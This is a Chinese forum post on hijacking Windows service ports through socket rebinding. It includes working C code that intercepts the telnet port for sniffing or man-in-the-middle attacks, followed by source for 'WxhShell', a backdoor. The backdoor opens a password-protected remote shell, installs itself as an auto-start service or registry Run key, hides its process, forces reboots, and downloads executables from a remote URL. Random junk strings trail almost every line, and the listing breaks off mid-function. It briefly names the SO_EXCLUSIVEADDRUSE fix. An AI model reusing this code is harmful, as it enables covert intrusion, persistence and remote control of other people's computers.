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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: cyh ;1Q  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); VA %lJ!$  
Y@ vC!C  
  saddr.sin_family = AF_INET; Fzn !  
7I;0 %sVQ{  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ~ftR:F|9  
'QTa<Z)E  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); U r8JG&,  
J*AYZS-tSE  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 _94R8?\_V7  
?30pNF|  
  这意味着什么?意味着可以进行如下的攻击: 2Zg%4/u,Zp  
[@]i_L[  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 *?>52 -&b  
Pu'NSNT  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) zz8NBO  
(UTA3Db  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 /J(~NGT  
}Nma %6PfV  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  - rI4_Dl  
5,\|XQA5!  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 =c%gV]>G  
def\=WyK  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ~ NO7@m uw  
?=HoU3  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 _{GD\Ai_W  
,L-V?B(UQ  
  #include zy|h1 .gd  
  #include 8~O0P=  
  #include \VypkbE+  
  #include    \FnR'ne  
  DWORD WINAPI ClientThread(LPVOID lpParam);   \3hFb,/4k  
  int main()  xS="o  
  { $J0o%9K   
  WORD wVersionRequested; -a'D~EGB^  
  DWORD ret; ;{0%Vp{  
  WSADATA wsaData; ~K ('t9|  
  BOOL val; }*vE/W  
  SOCKADDR_IN saddr; Z@AN0?,`~o  
  SOCKADDR_IN scaddr; w8#ji 1gX  
  int err; 6zGeGW  
  SOCKET s; SPauno <M  
  SOCKET sc; `X B$t?xi  
  int caddsize; 0%yPuY>  
  HANDLE mt; 6.a|w}C`  
  DWORD tid;   2;w> w#}>  
  wVersionRequested = MAKEWORD( 2, 2 ); g\*2w @  
  err = WSAStartup( wVersionRequested, &wsaData ); *zdUCX  
  if ( err != 0 ) { X9C:AGbp  
  printf("error!WSAStartup failed!\n"); L^2wEF  
  return -1; $F]*B `  
  } 9Fg:   
  saddr.sin_family = AF_INET; shiw;.vR{B  
   7Q~$&G  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 qV-1aaA  
Dw,LB>Eq,  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); : z\||f  
  saddr.sin_port = htons(23); hb>uHUb&  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) j#YVv c%  
  { $- Y8@bw  
  printf("error!socket failed!\n"); Vw`%|x"Xz  
  return -1; KXBTJ&  
  } (aB:P03  
  val = TRUE; +Q"XwxL<6  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 xFA`sAucr  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) wp@6RJ  
  { iaQFVROu  
  printf("error!setsockopt failed!\n");  }s8xr>  
  return -1; %~0]o@LW7  
  } ;)ERxMun  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 9QeBz`lm)  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 yP34h*0B  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ${97G#  
MYVb !  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) X @7:FzU9  
  { SzG?m]  
  ret=GetLastError(); %Kh}6   
  printf("error!bind failed!\n"); BT f  
  return -1; Mv:\T%]  
  } t{Ks}9B  
  listen(s,2); \t? ;p-+ta  
  while(1) s,M]f,T  
  { M-8d*#_P  
  caddsize = sizeof(scaddr); GxE`z6%[  
  //接受连接请求 y"H(F,(N  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); khQ fLA  
  if(sc!=INVALID_SOCKET) TnuA uui*  
  { iZ( Jw Y  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); `Y, Rk  
  if(mt==NULL) !VHw*fL|r  
  { #=Whh 9-d  
  printf("Thread Creat Failed!\n"); w~n+hhMF  
  break; DH.CAV  
  } %B\VY+  
  } V)I Tk \  
  CloseHandle(mt); +77j2W_0  
  } $`L |  
  closesocket(s); /KlSI<T@  
  WSACleanup(); K)eyFc  
  return 0; 6hHMxS^o  
  }   ? O9|  
  DWORD WINAPI ClientThread(LPVOID lpParam) mlz|KI~\F;  
  { O`;o"\P<  
  SOCKET ss = (SOCKET)lpParam; Z0M|Bv9_  
  SOCKET sc; w(Q{;RNM;  
  unsigned char buf[4096]; hS^8/]E={  
  SOCKADDR_IN saddr; ]zI*}(adu  
  long num; -r[O_[g w  
  DWORD val; jTqE V(  
  DWORD ret; R l)g[s  
  //如果是隐藏端口应用的话,可以在此处加一些判断 OZe`>Q6  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   0.B'Bvn=s2  
  saddr.sin_family = AF_INET; >ffQ264g=i  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); c7R6.T  
  saddr.sin_port = htons(23); z%$M IC  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~le:4qaX  
  { e )]  
  printf("error!socket failed!\n"); \M*c3\&~,e  
  return -1; `L3{y/U'  
  } I0_>ryA  
  val = 100; A!a.,{fZ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) eqyUI|e  
  { 'Ojxzz*tT  
  ret = GetLastError(); QL-E4]   
  return -1; |doG}C  
  } 9 ]|C$;kw@  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) rW*[sLl3  
  { !@FzP@  
  ret = GetLastError(); 9ol&p>  
  return -1; 2rM/kF >g  
  } k%;oc$0G-3  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) {7EpljH@  
  { 48.4GwL7  
  printf("error!socket connect failed!\n"); es\Fn#?O  
  closesocket(sc); zo1 fUsK?  
  closesocket(ss); t24.u+O  
  return -1; gdg "g6b  
  } c']m5q39'  
  while(1) -E.fo._L5  
  { <#)Q.P  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 3O|2Z~>3  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 V"KuwM  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 VP1 z"j:  
  num = recv(ss,buf,4096,0); WFvVu3  
  if(num>0) 4!-/m7%eF  
  send(sc,buf,num,0); L^Fb;sJYI  
  else if(num==0) GFvLd:p` [  
  break; HgTBON(  
  num = recv(sc,buf,4096,0); 9x#T j/5%  
  if(num>0) X:QRy9]  
  send(ss,buf,num,0); {gB9EGY  
  else if(num==0) ./CD W  
  break; 2F/oWt|w?  
  }  H@sM$8  
  closesocket(ss); :b,An'H  
  closesocket(sc); Z5@E|O&  
  return 0 ; >oapw5~5  
  } |)[&V3+|  
hwSxdT6  
r<DPh5ReY  
========================================================== D4T(Dce  
-(zw80@&  
下边附上一个代码,,WXhSHELL Tz7|OV_W$  
USKC,&6&}  
========================================================== <'~6L#>,<  
VL$?vI'  
#include "stdafx.h" %<MI]D  
;b 'L2  
#include <stdio.h> O{EbL5p  
#include <string.h> )4n]n:FjN  
#include <windows.h> dA0o{[o=  
#include <winsock2.h> dlwOmO'Bm)  
#include <winsvc.h> :DFtH13qO  
#include <urlmon.h> SOluTFxUw  
vtRz;~,Z  
#pragma comment (lib, "Ws2_32.lib") zT'(I6 S:)  
#pragma comment (lib, "urlmon.lib") Q 34-a"6)  
;33SUgX  
#define MAX_USER   100 // 最大客户端连接数 J>fq5  
#define BUF_SOCK   200 // sock buffer CT (HTu  
#define KEY_BUFF   255 // 输入 buffer Wli!s~c5Fo  
m(CsO|pz  
#define REBOOT     0   // 重启 (w Q,($@  
#define SHUTDOWN   1   // 关机 ^j2z\yo  
H:mcex  
#define DEF_PORT   5000 // 监听端口 Li\b ,_C  
jOL=vG  
#define REG_LEN     16   // 注册表键长度 lN_b&92  
#define SVC_LEN     80   // NT服务名长度 VI)hA ^ S  
SU(J  
// 从dll定义API xN6}4JB  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); fbkAu  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); f 2k~(@!h  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); DKG; up0  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;bFd*8?;  
~l*[=0}  
// wxhshell配置信息 Q fL8@W~e  
struct WSCFG { )ZpMB  
  int ws_port;         // 监听端口 uC2qP)m,^  
  char ws_passstr[REG_LEN]; // 口令 DN;$ ->>  
  int ws_autoins;       // 安装标记, 1=yes 0=no Sy^@v%P'A  
  char ws_regname[REG_LEN]; // 注册表键名 kE1k@h#/  
  char ws_svcname[REG_LEN]; // 服务名 +[pJr-k  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 U:8cz=#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "|/q4JN)7d  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /1.gv~`+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }+F@A`Bm&  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5Trc#i<\  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Iz&<rL;s  
'<AE%i,  
}; aUKa+"`S  
F/"lJ/I  
// default Wxhshell configuration 2]H?q!l!O  
struct WSCFG wscfg={DEF_PORT, Xet} J@C  
    "xuhuanlingzhe", UFeQ%oRa8  
    1, }U**)"  
    "Wxhshell", ^ j<2s"S  
    "Wxhshell", }p*WH$!~  
            "WxhShell Service", M+7jJ?n  
    "Wrsky Windows CmdShell Service", kMg[YQ]OC  
    "Please Input Your Password: ", ZC)m&V 1  
  1, `-5gsJ  
  "http://www.wrsky.com/wxhshell.exe", 35YDP|XZb  
  "Wxhshell.exe" @ZtvpL}e  
    }; TrBtTqH)  
}1NNXxQ  
// 消息定义模块 ;>Z0e`=  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,N8SP 'R  
char *msg_ws_prompt="\n\r? for help\n\r#>"; th+LScOX  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ~2QD.(  
char *msg_ws_ext="\n\rExit."; ?*cCn-|  
char *msg_ws_end="\n\rQuit."; `r0MQkk  
char *msg_ws_boot="\n\rReboot..."; T!>sL=uf  
char *msg_ws_poff="\n\rShutdown..."; XKvH^Z4h{l  
char *msg_ws_down="\n\rSave to "; x'V:qv*O  
ePTxuCf>  
char *msg_ws_err="\n\rErr!"; >vNE3S_  
char *msg_ws_ok="\n\rOK!"; $Eo-58<q  
!)FKF7'  
char ExeFile[MAX_PATH]; J$,bsMIX  
int nUser = 0; 3GXmyo:o$  
HANDLE handles[MAX_USER]; aF.fd2k  
int OsIsNt; I%CrsEo  
au/5`  
SERVICE_STATUS       serviceStatus; H~W=#Cx  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; GsIqUM#R  
JY$;m3h  
// 函数声明 JC7:0A^  
int Install(void); H)5"<=]  
int Uninstall(void); ?F|F~A8dr  
int DownloadFile(char *sURL, SOCKET wsh); C%"aj^u  
int Boot(int flag); Om2w+yU  
void HideProc(void); 66scBi_d  
int GetOsVer(void); ~FnY'F<35  
int Wxhshell(SOCKET wsl); ;V84Dy#b  
void TalkWithClient(void *cs); e,l-}=5* P  
int CmdShell(SOCKET sock); i_p-|I:hQ  
int StartFromService(void); KuMH,rXF  
int StartWxhshell(LPSTR lpCmdLine); n{"a 0O  
UFyk%#L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Oki{)Ssy  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "fu@2y4^  
Gl9 ,!"A  
// 数据结构和表定义 I~,bZA  
SERVICE_TABLE_ENTRY DispatchTable[] = _BG7 JvI  
{ _[N*k"  
{wscfg.ws_svcname, NTServiceMain}, [!`5kI  
{NULL, NULL} 0_-P~^A  
}; 'v5q/l  
B\+uRiD8w  
// 自我安装 18> v\Hi<  
int Install(void) K8h\T4  
{ rf]x5%ij  
  char svExeFile[MAX_PATH]; rg I Z  
  HKEY key; 0+KSD{  
  strcpy(svExeFile,ExeFile); 2Vx x  
>*$Xbj*  
// 如果是win9x系统,修改注册表设为自启动 )<.y{_QUN  
if(!OsIsNt) { '-P+|bZW4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dAi.^! !  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (SByN7[g b  
  RegCloseKey(key); J#\oc@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W4)bEWO+q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _U Y5  
  RegCloseKey(key); cuL/y$+EY  
  return 0; u"DE?  
    } l6.&<0pLT  
  } ?3<Y/Vg%c  
} Fp>nu_-"  
else { *C.Kdf3w  
}|l7SFst  
// 如果是NT以上系统,安装为系统服务 Fm+V_.H/;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); jwheJ G  
if (schSCManager!=0) }l_8~/9  
{ imyfki $B  
  SC_HANDLE schService = CreateService \Npvm49  
  ( >".@;  
  schSCManager, -cP1,>Ahv  
  wscfg.ws_svcname, 877Kv);  
  wscfg.ws_svcdisp, p Moza8  
  SERVICE_ALL_ACCESS, ;&MnPFmq  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `k(m2k ?  
  SERVICE_AUTO_START, 8[:G/8VI  
  SERVICE_ERROR_NORMAL, Nop61zj  
  svExeFile, /`j2%8^N  
  NULL, ts r{-4V  
  NULL, o+Q2lO5  
  NULL, aTs9lr:  
  NULL, SUD~@]N1  
  NULL :)%cL8Nz]$  
  ); <|hrmwk|  
  if (schService!=0) R0-Y2v  
  { 7yOBxb   
  CloseServiceHandle(schService);  gOy{ RE  
  CloseServiceHandle(schSCManager); o Va[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); bl\;*.s'  
  strcat(svExeFile,wscfg.ws_svcname); l0tFj>q"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { l)V646-O,~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); XY<KLO%  
  RegCloseKey(key); o8S P#ET"n  
  return 0; W3n[qVZIC  
    } <]*Jhnx/  
  } \8USFN~(Y  
  CloseServiceHandle(schSCManager); Is9.A_0h  
} Y\F4  
} CiTWjE?|7  
9fsc>9  
return 1; )M@^Z(W/a  
} F1p|^hYDW  
^!x qOp!  
// 自我卸载 n%!50E6*:  
int Uninstall(void) %1)JRc  
{ T#HF! GH]  
  HKEY key; .`oKd@I*"  
j?VHR$  
if(!OsIsNt) { Ii>#9>!F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }d@;]cps  
  RegDeleteValue(key,wscfg.ws_regname); S`vw<u4t  
  RegCloseKey(key); He&A>bA)z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V>ZDJW"G!  
  RegDeleteValue(key,wscfg.ws_regname); rw?wlBEG%  
  RegCloseKey(key); 8yM8O #S  
  return 0; ?F~0\T,7  
  } jH<,dG:{  
} L5CnPnF  
} (@S 9>z4s  
else { |I3&a=,  
,<[x9 "3\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (U:6vk3Q  
if (schSCManager!=0) >E WK cocM  
{ 3M>y.MS  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); rw75(Lp{  
  if (schService!=0) |C>\k u*  
  { Yx](3w ID  
  if(DeleteService(schService)!=0) { `!ZkWF6  
  CloseServiceHandle(schService); ^UyN)eX  
  CloseServiceHandle(schSCManager); jRxzZt4  
  return 0; jJ?G7Q5 l  
  } u3sr"w&  
  CloseServiceHandle(schService); |V^f}5gd  
  } K] &GSro  
  CloseServiceHandle(schSCManager); l>)+HoD  
} %m$t'?  
} 2 S2;LB  
,/[1hhP@  
return 1; Ld=6'C8ud  
} Vc+~yh.)  
;}k_  
// 从指定url下载文件 T;i+az{N:V  
int DownloadFile(char *sURL, SOCKET wsh) f|2QI ~R  
{ ~O 4@b/!4  
  HRESULT hr; i(xL-&{  
char seps[]= "/"; zoj w^%W  
char *token; ZT+{8,  
char *file; 8an_s%,AW  
char myURL[MAX_PATH]; k0xm-  
char myFILE[MAX_PATH]; @"m+9ZY  
9xL` i-7]  
strcpy(myURL,sURL); 2-^ ['R  
  token=strtok(myURL,seps); w7~&Xxa/  
  while(token!=NULL) _HkQv6fXpE  
  { F0'8n6zj  
    file=token; Hq,znRz~`  
  token=strtok(NULL,seps); ;9qwB  
  } !0cb f&^:  
xww\L &y  
GetCurrentDirectory(MAX_PATH,myFILE); yaAg!mW  
strcat(myFILE, "\\"); jjg&C9w T  
strcat(myFILE, file); w# ;t$qz}  
  send(wsh,myFILE,strlen(myFILE),0); l!IN#|{(  
send(wsh,"...",3,0); Ub[UB%(T  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); OO;I^`Yn  
  if(hr==S_OK) |2I p*  
return 0; 4hUUQ;xj  
else Nl{on"il  
return 1; mHNqzdaa  
)F6p+i="  
} C6d#+  
ZV[-$  
// 系统电源模块 r1sA^2g.  
int Boot(int flag) &cf_?4  
{ / q^_ 'Lp  
  HANDLE hToken; pH0MVu(W  
  TOKEN_PRIVILEGES tkp; TaZlfe5z  
s$/ Z+"f(  
  if(OsIsNt) { 4 rD&Lg'  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); DMT2~mh  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ShOB"J-  
    tkp.PrivilegeCount = 1; YV6w}b:  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; kb'l@d#E  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); D \boF+^  
if(flag==REBOOT) { dkZ[~hEQG-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Rtai?  
  return 0; }$:ha>  
} EtDzmpJR>  
else { O! w&3 p  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `>`{DEDx{5  
  return 0; EHt(! ;?q  
} &y~GTEP  
  } S|_lb MZM  
  else { ZMch2 U8  
if(flag==REBOOT) { 3UJSK+d\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ak(P<OC-  
  return 0; #}8gHI-9%  
} mMad1qCi7  
else { N0fmC*1-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >n>gX/S<C  
  return 0; 6!RK Zj)  
} 8 HdjZ!  
} ,m)YL>k  
~uJO6C6A  
return 1; z!^3%kJJ>  
} T2 V(P>E  
/fxv^C82yv  
// win9x进程隐藏模块 kk aS&r>  
void HideProc(void) lI+KT_|L  
{ aMyf|l.  
!r+SE  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }do=lm?/  
  if ( hKernel != NULL ) E D_J8 +  
  { )eBCO~HS  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Yk5Cyq  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); " R-Pe\W  
    FreeLibrary(hKernel); =z2g}X  
  } ]ov"&,J  
RaB%N$.9s  
return; n^rzl6dy  
}  !:|D[1m  
Fh^Ax3P(  
// 获取操作系统版本 @|9V]bk  
int GetOsVer(void) 7XiR)jYo*  
{ Tc;j)_C)  
  OSVERSIONINFO winfo; ffh3okyW0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2tdr1+U?g  
  GetVersionEx(&winfo); ;5=5HYx%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `wLMJ,@f.  
  return 1; WOf*1C  
  else MT.D#jv&  
  return 0; t8S,C4  
} S d]`)  
2@pEuB3$?!  
// 客户端句柄模块 2L?Pw   
int Wxhshell(SOCKET wsl) B6]M\4v  
{ y3mJO[U0 a  
  SOCKET wsh; 9 X87"  
  struct sockaddr_in client; oz\r0:  
  DWORD myID; liVj-*m  
Gu K!<-Oz"  
  while(nUser<MAX_USER) p}k\l dmh{  
{ *7!*kq g!u  
  int nSize=sizeof(client); _,E! <  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); H,U qU3b3  
  if(wsh==INVALID_SOCKET) return 1; 4CioVQdj  
)Jd{WC.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); m#t  
if(handles[nUser]==0) (J\Qo9Il  
  closesocket(wsh); 3AarRQWsn  
else +FtL_7[v  
  nUser++; Pqv9> N|  
  } I i J%.U  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); c"CF&vTp  
$4]"g}_  
  return 0; *qL"&h5W  
} w_^g-P[o-  
Ck^jgB.7  
// 关闭 socket e{`DvfY21  
void CloseIt(SOCKET wsh) |PW.CV0,  
{ <Z9N}wY,8  
closesocket(wsh); F7qQrE5bl  
nUser--; sBWLgJz?C  
ExitThread(0); /N\[ C"8  
} J l9w/T  
p+|(lrYC  
// 客户端请求句柄 jR o4+8  
void TalkWithClient(void *cs) xouy|Nn'  
{ j?9fb  
4Nz]LK%@  
  SOCKET wsh=(SOCKET)cs; \J3n[6;  
  char pwd[SVC_LEN]; K@+(6\6I  
  char cmd[KEY_BUFF]; rJ_fg$.<  
char chr[1]; BJ7m3[lz  
int i,j; &&{_T4  
[[9XqD]  
  while (nUser < MAX_USER) { mRC6m K>  
\j3XT}  
if(wscfg.ws_passstr) { 7Ys\=W1  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); eXZH#K7S#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); IBe0?F #  
  //ZeroMemory(pwd,KEY_BUFF); 334tg'2]  
      i=0; 00(#_($  
  while(i<SVC_LEN) { 5_ioJ   
#u6ZCv7u  
  // 设置超时 +b6kU{  
  fd_set FdRead; i2+vUl|;Z  
  struct timeval TimeOut; >6zXr.  
  FD_ZERO(&FdRead); a76`"(W  
  FD_SET(wsh,&FdRead); (.54`[2+L  
  TimeOut.tv_sec=8; 5Rec~&v  
  TimeOut.tv_usec=0; Sej\Gt  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); E;C=V2#>[  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /J0ctJ2k  
Fl&Z}&5p  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tcU4$%H/  
  pwd=chr[0]; Af_yb`W?  
  if(chr[0]==0xd || chr[0]==0xa) { q(cSHHv+  
  pwd=0; W-ll2b  
  break; #-Nc1+gu   
  } q2KWSh5  
  i++; $mp'/]  
    } Ik74%x7G`  
I4"U/iL51  
  // 如果是非法用户,关闭 socket QnNddCiu=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); a)GT\1q  
} .~Z@y#  
M]$_>&"  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `jyBF  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pJ 7="n  
"vG~2J  
while(1) { -THU5AB  
FlQ(iv)P  
  ZeroMemory(cmd,KEY_BUFF); }c~o3t(7`b  
b];? tP  
      // 自动支持客户端 telnet标准   F/I`EV  
  j=0; q-)Ynp4'  
  while(j<KEY_BUFF) { c- {;P>L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `;fk,\8t%  
  cmd[j]=chr[0]; =/jCDY  
  if(chr[0]==0xa || chr[0]==0xd) { z4 yV1  
  cmd[j]=0; c_YP#U  
  break; j? P=}_Ru  
  } (77EZ07%  
  j++; ($ l t@j  
    } gr y]!4Hy  
;3H#8x-  
  // 下载文件 p+>vX X  
  if(strstr(cmd,"http://")) { zgh~P^Z  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); K9(Su`zr  
  if(DownloadFile(cmd,wsh)) ^sA"&Vdr^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); R8<'m  
  else f~NGIlgR  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p:n.:GZ=y  
  } HQO z  
  else { /Sag_[i  
bAa+MB#A  
    switch(cmd[0]) { ^E3i]Oem  
  Y]R;>E5o|  
  // 帮助 3l8k O  
  case '?': { :>'4@{'   
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6#rj3^]  
    break; j >wT-s  
  } `K^j:fE7n  
  // 安装 8P#jC$<  
  case 'i': { DNN60NX 5Q  
    if(Install()) ?g21U97Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )+ss)L EC  
    else vtS [Tkk|A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Os# V=P  
    break; 'U" ub2j  
    } uqg#(ADy?R  
  // 卸载 lB Y"@N  
  case 'r': { L~])?d  
    if(Uninstall()) 3\Ma)\>R\-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [Q=NGHB1/  
    else K!MIA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |tkhsQ-;  
    break; `>mT/Rmb@  
    } v3vQfcxR  
  // 显示 wxhshell 所在路径 ^Q'^9M2)  
  case 'p': { A=5A8B1  
    char svExeFile[MAX_PATH]; jK{)gO  
    strcpy(svExeFile,"\n\r"); \:/ :S"-  
      strcat(svExeFile,ExeFile); 3Y}X7-|)Z  
        send(wsh,svExeFile,strlen(svExeFile),0); CQ+WBTiC  
    break; ZV; lr Vv  
    } (t\ F>A  
  // 重启 '[nH] N  
  case 'b': { 3:;2Av2(X.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); j\Z/R1RcW  
    if(Boot(REBOOT)) 9. 7XRxR^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )j[rm   
    else { PafsO,i-  
    closesocket(wsh); !}gC0dJ  
    ExitThread(0); rg^  
    } Jn>6y:s  
    break; Jt3]'Nr04@  
    } c88I"5@[bD  
  // 关机 $O/@bh1@p  
  case 'd': { %;Dp~T`0  
